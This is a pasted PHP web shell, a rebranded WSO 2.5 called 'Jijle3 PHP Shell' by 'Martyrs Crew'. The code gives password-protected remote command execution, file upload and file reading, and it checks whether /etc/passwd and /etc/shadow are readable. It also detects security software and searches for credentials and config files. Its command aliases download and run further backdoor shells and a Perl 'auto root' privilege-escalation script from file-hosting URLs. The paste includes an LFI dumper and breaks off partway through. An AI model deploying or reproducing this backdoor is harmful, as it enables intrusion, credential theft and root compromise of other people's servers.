· 8 years ago · May 04, 2018, 08:30 PM
1<?
2echo "<link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'>
3 <style type='text/css'>
4 input[type=submit], input[type=button], input[type=reset]{
5 text-align:center;
6 background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
7 border:1px solid #4D4D4D;
8 color:#CCCCCC;
9 border-top-color:#565656;
10 padding:4px 6px;
11 margin:4px 5px;
12 height:16px;
13 -moz-box-shadow:0 0 1px black;
14 -webkit-box-shadow:0 0 1px black;
15 box-shadow:0 0 1px black;
16 text-shadow:0 1px black;
17 -moz-border-radius:4px;
18 -webkit-border-radius:4px;
19 -khtml-border-radius:4px;
20 border-radius:4px;
21 height:23px;
22}
23input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
24 background-position:center top;
25 text-decoration:none;
26}
27input[type=text], input[type=password]{
28 background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
29 border:1px solid #4D4D4D;
30 color:#CCCCCC;
31 border-top-color:#565656;
32 -moz-box-shadow:0 0 1px black;
33 -webkit-box-shadow:0 0 1px black;
34 box-shadow:0 0 1px black;
35 -moz-border-radius:4px;
36 -webkit-border-radius:4px;
37 -khtml-border-radius:4px;
38 border-radius:4px;
39 height:18px;
40 margin-left: 5px;
41}
42input , textarea , button , body , caption , table ,area , option {
43 outline:none;
44 transition: all 0.20s ease-in-out;
45 -webkit-transition: all 0.25s ease-in-out;
46 -moz-transition: all 0.25s ease-in-out;
47 border-radius:3px;
48 -webkit-border-radius:3px;
49 -moz-border-radius:3px;
50 border:1px solid rgba(0,0,0, 0.2);
51 /* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
52}
53input , textarea {
54 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
55}
56input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
57 box-shadow: 0 0 5px rgba(0, 0, 255, 1);
58 -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
59 -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
60 border: 1px solid #CCCC00;
61 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
62 overflow: auto;
63/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
64}
65body{
66/* font-family : Verdana; */
67 color : #f9f6f1;
68 font-size : 0.7em;
69 background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525;
70}
71input , textarea {
72 outline:none;
73 transition: all 0.20s ease-in-out;
74 -webkit-transition: all 0.25s ease-in-out;
75 -moz-transition: all 0.25s ease-in-out;
76 border-radius:3px;
77 -webkit-border-radius:3px;
78 -moz-border-radius:3px;
79 border:1px solid rgba(0,0,0, 0.2);
80}
81input:focus, textarea:focus {
82 outline: 0;
83 border-color: rgba(82, 168, 236, 0.8);
84 -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
85 -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
86 box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
87 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
88 overflow: auto;
89}
90 </style>
91 ";
92# jijle3 login
93#$auth_pass = md5('Jijle3');
94#$color = "#df5";
95#$default_action = 'Home';
96#$default_use_ajax = true;
97#$default_charset = 'Windows-1251';
98#if(!empty($_SERVER['HTTP_USER_AGENT'])) {
99# $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
100#if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
101# header('HTTP/1.0 404 Not Found');
102# exit;
103# }
104#}
105@ini_set('error_log', NULL);
106@ini_set('log_errors', 0);
107@ini_set('max_execution_time', 0);
108@set_time_limit(0);
109@set_magic_quotes_runtime(0);
110@define('WSO_VERSION', '2.5');
111if (get_magic_quotes_gpc()) {
112 function WSOstripslashes($array) {
113 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
114 }
115 $_POST = WSOstripslashes($_POST);
116 $_COOKIE = WSOstripslashes($_COOKIE);
117}
118function wsoLogin() {
119 die("<center><span>Password : </span><input type=password name=pass><input type=submit value='Enter'></form></pre>");
120}
121function WSOsetcookie($k, $v) {
122 $_COOKIE[$k] = $v;
123 setcookie($k, $v);
124}
125if (!empty($auth_pass)) {
126 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
127 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
128}
129if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
130else $os = 'nix';
131$safe_mode = @ini_get('safe_mode');
132if (!$safe_mode) error_reporting(0);
133$disable_functions = @ini_get('disable_functions');
134$home_cwd = @getcwd();
135if (isset($_POST['c'])) @chdir($_POST['c']);
136$cwd = @getcwd();
137if ($os == 'win') {
138 $home_cwd = str_replace("\", " / ", $home_cwd);
139 $cwd = str_replace("\", " / ", $cwd);
140}
141if($cwd[strlen($cwd) - 1] != '/')
142 $cwd .= '/';
143
144if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
145 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
146
147if($os == 'win')
148 $aliases = array(
149 "ListDirectory" => "dir",
150 "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
151 "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
152 "Showactiveconnections" => "netstat - an",
153 "Showrunningservices" => "netstart",
154 "Useraccounts" => "netuser",
155 "Showcomputers" => "netview",
156 "ARPTable" => "arp - a",
157 "IPConfiguration" => "ipconfig / all"
158 );
159else
160 $aliases = array(
161 "Listdir" => "ls - lha",
162 "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
163 "showopenedports" => "netstat - an | grep - ilisten",
164 "processstatus" => "psaux",
165 "Jijle3:
166 GetNotherShells"=>"",
167 "DhanushShell | pass:
168 Jijle3"=>"wgethttp: //download1582.mediafire.com/9jtscxv4qdzg/7zq2q32v02kz59j/dhanush.php.zip ; unzip dhanush.php.zip",
169 "K2ll33d Shell " => "wget http://download1643.mediafire.com/iq7073edn7pg/3vqec9bm5krrdrj/kil223dd.php.zip ; unzip kil223dd.php.zip", "1n73ction Shell | pass:1n73ction " => "wget http://download1512.mediafire.com/m8hgk0nnrupg/954ho11nt2b48w8/1n73ction.php.zip ; unzip 1n73ction.php.zip", "Cyber Shell | pass:Jijle3" => "wget http://download1512.mediafire.com/phidtd82s8vg/q6qx0xhcd1efzd5/cyb3.php.zip ; unzip cyb3.php.zip", "Jijle3 : Some Commonds" => "", "Logged in users" => "w", "Last to connect" => "lastlog", "IP Addresses" => "cat /etc/hosts", "Check MMAP" => "cat /proc/sys/vm/mmap_min_addr", "USER WITHOUT PASSWORD!" => "cut -d: -f1,2,3 /etc/passwd | grep ::", "List of Cpanel`s domains(valiases)" => "ls -l /etc/valiases", "Downloaders?)" => "which wget curl w3m lynx", "Show running proccess" => "ps aux", "Memory check" => "cat /proc/meminfo", "Get cpanel logs" => "cat /var/cpanel/accounting.log", "Jijle3 : Auto Root Commonds" => "", "First ! : GET Auto Root File [ Perl ]" => "wget http://download944.mediafire.com/5fi1yfk5ttcg/u4seoaw7ze1dio0/phdz.pl.zip ; unzip phdz.pl.zip ; ./phdz.pl", "AutoRoot [ Linux ]" => "perl phdz.pl linux", "AutoRoot [ FreeBSD ]" => "perl phdz.pl bsd", "AutoRoot [ SunOS ]" => "perl phdz.pl sunos", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
170 function wsoHeader() {
171 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
172 global $color;
173 if (!$color) $color = '#df5';
174 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " | Jijle3 [PHDZ]</title>
175<style>
176body{background-color:#444;color:#e1e1e1;}
177body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
178table.info{ color:#fff;background-color:#222; }
179span,h1,a{ color: $color !important; }
180span{ font-weight: bolder; }
181h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
182div.content{ padding: 5px;margin-left:5px;background-color:#333; }
183a{ text-decoration:none; }
184a:hover{ text-decoration:underline; }
185.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
186.bigarea{ width:100%;height:250px; }
187input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
188form{ margin:0px; }
189#toolsTbl{ text-align:center; }
190.toolsInp{ width: 300px }
191.main th{text-align:left;background-color:#5e5e5e;}
192.main tr:hover{background-color:#5e5e5e}
193.l1{background-color:#444}
194pre{font-family:Courier,Monospace;}
195</style>
196<script>
197 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
198 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
199 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
200 var p1_ = '" . ((strpos(@$_POST['p1'], "
201") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
202 var p2_ = '" . ((strpos(@$_POST['p2'], "
203") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
204 var p3_ = '" . ((strpos(@$_POST['p3'], "
205") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
206 var d = document;
207 function set(a,c,p1,p2,p3,charset) {
208 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
209 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
210 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
211 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
212 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
213 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
214 }
215 function g(a,c,p1,p2,p3,charset) {
216 set(a,c,p1,p2,p3,charset);
217 d.mf.submit();
218 }
219 function a(a,c,p1,p2,p3,charset) {
220 set(a,c,p1,p2,p3,charset);
221 var params = 'ajax=true';
222 for(i=0;i<d.mf.elements.length;i++)
223 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
224 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
225 }
226 function sr(url, params) {
227 if (window.XMLHttpRequest)
228 req = new XMLHttpRequest();
229 else if (window.ActiveXObject)
230 req = new ActiveXObject('Microsoft.XMLHTTP');
231 if (req) {
232 req.onreadystatechange = processReqChange;
233 req.open('POST', url, true);
234 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
235 req.send(params);
236 }
237 }
238 function processReqChange() {
239 if( (req.readyState == 4) )
240 if(req.status == 200) {
241 var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
242 var arr=reg.exec(req.responseText);
243 eval(arr[2].substr(0, arr[1]));
244 } else alert('Request error!');
245 }
246
247</script>
248<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
249<form method=post name=mf style='display:none;'>
250<input type=hidden name=a>
251<input type=hidden name=c>
252<input type=hidden name=p1>
253<input type=hidden name=p2>
254<input type=hidden name=p3>
255<input type=hidden name=charset>
256</form>";
257 $freeSpace = @diskfreespace($GLOBALS['cwd']);
258 $totalSpace = @disk_total_space($GLOBALS['cwd']);
259 $totalSpace = $totalSpace ? $totalSpace : 1;
260 $release = @php_uname('r');
261 $kernel = @php_uname('s');
262 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
263 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
264 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
265 if (!function_exists('posix_getegid')) {
266 $user = @get_current_user();
267 $uid = @getmyuid();
268 $gid = @getmygid();
269 $group = "?";
270 } else {
271 $uid = @posix_getpwuid(posix_geteuid());
272 $gid = @posix_getgrgid(posix_getegid());
273 $user = $uid['name'];
274 $uid = $uid['uid'];
275 $group = $gid['name'];
276 $gid = $gid['gid'];
277 }
278 $cwd_links = '';
279 $path = explode("/", $GLOBALS['cwd']);
280 $n = count($path);
281 for ($i = 0;$i < $n - 1;$i++) {
282 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
283 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
284 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
285 }
286 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
287 $opt_charsets = '';
288 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
289 $m = array('Home' => 'home', 'Sec Info' => 'SecInfo', 'Exec' => 'Console', 'Sql' => 'Sql', 'Baypass' => 'bypss', 'Forums' => 'forum', 'Symlink' => 'symlinker', 'Domain' => 'domains', 'Tools' => 'tools', 'Cgi' => 'cgi', 'String' => 'StringTools', 'Network' => 'Network', 'About' => 'about');
290 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
291 $m['Suicide'] = 'SelfRemove';
292 $menu = '';
293 foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
294 $drives = "";
295 if ($GLOBALS['os'] == 'win') {
296 foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
297 $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
298 }
299 echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
300 ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
301 ':'') . ' < / span > < / td > '
302 . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "http://www.google.com/search?q='.urlencode(@php_uname()).'"target = "_blank" > [Google] < / a > < ahref = "http://www.exploit-db.com/search/?action=search&filter_description='.urlencode(@php_uname()).'"target = "_blank" > [Exploit - db] < / a > < ahref = "http://www.1337day.com/search"target = "_blank" > [1337day] < / a > < ahref = "http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q='.urlencode(@php_uname()).'"target = "_blank" > [ExploitSearch] < / a > < ahref = "http://www.shodanhq.com/exploits?q='.urlencode(@php_uname()).'"target = "_blank" > [Shodanhq] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < span > LocalsPack: < / span > < ahref = "http://rghost.net/6YYsd7ynN"target = "_blank" > [Download] < / a > < / b > < br > ' . @phpversion() . ' < span > Safemode: < / span > '
303 . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ' )
304 . ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ File Manager ]</a><br><br>' . $drives . '</td>'
305 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Your IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr><br>
306</td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
307 }
308 function wsoFooter() {
309 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
310 echo "
311</div>
312<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
313 <tr>
314 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
315 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
316 </tr><tr>
317 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
318 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
319 </tr><tr>
320 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
321 <td><form method='post' ENCTYPE='multipart/form-data'>
322 <input type=hidden name=a value='FilesMAn'>
323 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
324 <input type=hidden name=p1 value='uploadFile'>
325 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
326 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
327 </tr></table></div></body></html>";
328 }
329 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
330 function posix_getpwuid($p) {
331 return false;
332 }
333 }
334 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
335 function posix_getgrgid($p) {
336 return false;
337 }
338 }
339 function wsoEx($in) {
340 $out = '';
341 if (function_exists('exec')) {
342 @exec($in, $out);
343 $out = @join("
344", $out);
345 } elseif (function_exists('passthru')) {
346 ob_start();
347 @passthru($in);
348 $out = ob_get_clean();
349 } elseif (function_exists('system')) {
350 ob_start();
351 @system($in);
352 $out = ob_get_clean();
353 } elseif (function_exists('shell_exec')) {
354 $out = shell_exec($in);
355 } elseif (is_resource($f = @popen($in, "r"))) {
356 $out = "";
357 while (!@feof($f)) $out.= fread($f, 1024);
358 pclose($f);
359 }
360 return $out;
361 }
362 function wsoViewSize($s) {
363 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
364 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
365 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
366 else return $s . ' B';
367 }
368 function wsoPerms($p) {
369 if (($p & 0xC000) == 0xC000) $i = 's';
370 elseif (($p & 0xA000) == 0xA000) $i = 'l';
371 elseif (($p & 0x8000) == 0x8000) $i = '-';
372 elseif (($p & 0x6000) == 0x6000) $i = 'b';
373 elseif (($p & 0x4000) == 0x4000) $i = 'd';
374 elseif (($p & 0x2000) == 0x2000) $i = 'c';
375 elseif (($p & 0x1000) == 0x1000) $i = 'p';
376 else $i = 'u';
377 $i.= (($p & 0x0100) ? 'r' : '-');
378 $i.= (($p & 0x0080) ? 'w' : '-');
379 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
380 $i.= (($p & 0x0020) ? 'r' : '-');
381 $i.= (($p & 0x0010) ? 'w' : '-');
382 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
383 $i.= (($p & 0x0004) ? 'r' : '-');
384 $i.= (($p & 0x0002) ? 'w' : '-');
385 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
386 return $i;
387 }
388 function wsoPermsColor($f) {
389 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
390 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
391 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
392 }
393 function wsoScandir($dir) {
394 if (function_exists("scandir")) {
395 return scandir($dir);
396 } else {
397 $dh = opendir($dir);
398 while (false !== ($filename = readdir($dh))) $files[] = $filename;
399 return $files;
400 }
401 }
402 function wsoWhich($p) {
403 $path = wsoEx('which ' . $p);
404 if (!empty($path)) return $path;
405 return false;
406 }
407 function actionSecInfo() {
408 wsoHeader();
409 //Sec info
410 echo '<h1>Server Security Info</h1><div class=content>';
411?>
412</div>
413</center>
414<?php
415 function wsoSecParam($n, $v) {
416 $v = trim($v);
417 if ($v) {
418 echo '<span>' . $n . ': </span>';
419 if (strpos($v, "
420") === false) echo $v . '<br>';
421 else echo '<pre class=ml1>' . $v . '</pre>';
422 }
423 }
424 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
425 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
426 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
427 wsoSecParam('Open base dir', @ini_get('open_basedir'));
428 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
429 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
430 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
431 $temp = array();
432 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
433 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
434 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
435 if (function_exists('oci_connect')) $temp[] = "Oracle";
436 wsoSecParam('Supported databases', implode(', ', $temp));
437 echo '<br>';
438 if ($GLOBALS['os'] == 'nix') {
439 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
440 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
441 wsoSecParam('OS version', @file_get_contents('/proc/version'));
442 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
443 if (!$GLOBALS['safe_mode']) {
444 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
445 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
446 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
447 echo '<br>';
448 $temp = array();
449 foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
450 wsoSecParam('Userful', implode(', ', $temp));
451 $temp = array();
452 foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
453 wsoSecParam('Danger', implode(', ', $temp));
454 $temp = array();
455 foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
456 wsoSecParam('Downloaders', implode(', ', $temp));
457 echo '<br/>';
458 wsoSecParam('HDD space', wsoEx('df -h'));
459 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
460 }
461 } else {
462 wsoSecParam('OS Version', wsoEx('ver'));
463 wsoSecParam('Account Settings', wsoEx('net accounts'));
464 wsoSecParam('User Accounts', wsoEx('net user'));
465 }
466 echo '</div>';
467 wsoFooter();
468 }
469 ################# Home #################
470 function actionhome() {
471 wsoHeader();
472 //Home
473 echo '
474<center>
475<h1>[ Salam ♥ Alaykoum ]</h1>
476<br /><br />
477</form>
478';
479?><head>
480<body bgcolor="Black"><table width=100% height=100%><td align="center">
481<img src="http://www5.0zz0.com/2014/11/29/18/934285237.png" height="150" title="Martyrs Crew 2015 " width="478" ></img></img><p>
482</img></img><p>
483<span class="style1"><font size="9" color="#FFFFFF" face="Adobe Heiti Std R"></font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#df5" face="Adobe Heiti Std R">
484Jijle3 PHP Shell v 0.1.8</font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#FFFFFF" face="Adobe Heiti Std R"></font></span></p>
485<span>[ Say Hamd Li ' Allah ♥ ] </span>
486<p>
487
488<img src="http://im48.gulfup.com/jIm93E.png" height="92" title="Martyrs Crew Index Logo 2014 " width="178" ></p>
489<p>
490<pre>
491<iframe src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2FJ1jeI&width&height=62&colorscheme=light&show_faces=false&header=true&stream=false&show_border=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:62px;" allowTransparency="true"></iframe><pre>
492<p>
493<?
494echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
495echo '</center><br>';
496echo "<br><br><center><b><font face='Tahoma' name=sip color='white' size='2pt'>Jijle3 PHP Web Shell V 0.1.8 (c) Phenomene Dz [ Martyrs Crew ] 2015</font></b></td><font face='Tahoma' color='WHITE' size='2pt' />";
497echo " <b><a href='http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all' target=\"_blank\">Bing.com
498 </a></b> - <b><a href='http://zone-h.com/archive/ip=".$serverIP."
499' target=\"_blank\">Zone-H.org</a> -  <a href='http://www.yougetsignal.com/tools/web-sites-on-web-server/
500' target=\"_blank\">Yougetsignal.com</a>
501 - <b><a href='http://toolbar.netcraft.com/site_report?url=https://" . $_SERVER['HTTP_HOST'] . "&go=&form=QBLH&filt=all' target=\"_blank\">NetCraft.com
502 </a></b> - <b><a href='https://pentest-tools.com/
503' target=\"_blank\">Pentest-Tools.com</a>
504</b></center><br>";
505wsoFooter();}
506################# End Home #################
507function actionlfiscan() {
508 wsoHeader();
509 print '
510 <h3>Led-Zeppelin\'s LFI File dumper</h3>
511
512 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
513 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
514 <option value="1">
515 Access Log
516 </option>
517
518 <option value="2">
519 httpd.conf
520 </option>
521
522 <option value="3">
523 Error Log
524 </option>
525 <option value="4">
526 php.ini
527 </option>
528 <option value="5">
529 MySQL
530 </option>
531 <option value="6">
532 FTP
533 </option>
534 <option value="7">
535 Environ
536 </option>
537 </select> Null: <select name="null">
538 <option value="%00">
539 Yes
540 </option>
541
542 <option value="">
543 No
544 </option>
545 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
546 </form>';
547 error_reporting(0);
548 if($_POST['lfiurl']) {
549 print "<pre>";
550 $cheader = $_POST['custom_header'];
